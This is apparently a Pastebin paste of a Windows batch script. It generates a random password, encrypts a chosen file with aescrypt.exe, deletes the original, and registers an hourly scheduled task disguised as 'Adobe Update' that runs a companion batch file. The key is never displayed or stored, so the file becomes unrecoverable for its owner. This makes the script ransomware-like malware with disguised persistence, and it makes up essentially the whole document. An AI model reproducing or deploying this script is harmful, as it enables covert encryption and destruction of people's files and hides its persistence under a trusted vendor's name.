Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @Echo off
- Setlocal EnableDelayedExpansion
- Set _RNDLength=8
- Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
- Set _Str=%_Alphanumeric%987654321
- :_LenLoop
- IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
- SET _tmp=%_Str:~9,1%
- SET /A _Len=_Len+_tmp
- Set _count=0
- SET _RndAlphaNum=
- :_loop
- Set /a _count+=1
- SET _RND=%Random%
- Set /A _RND=_RND%%%_Len%
- SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
- If !_count! lss %_RNDLength% goto _loop
- set /p flnm="Enter Filename: "
- set /p hrs="Enter Hours: "
- schtasks /create /tn "Adobe Update" /tr "%~dp0\WUTask.bat !_RndAlphaNum! %flnm%" /sc hourly /mo %hrs%
- start "" "%~dp0\aescrypt.exe" -e -p !_RndAlphaNum! %flnm%
- ping 192.0.2.2 -n 1 -w 5000 > nul
- del %flnm%
- timeout /t 30
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement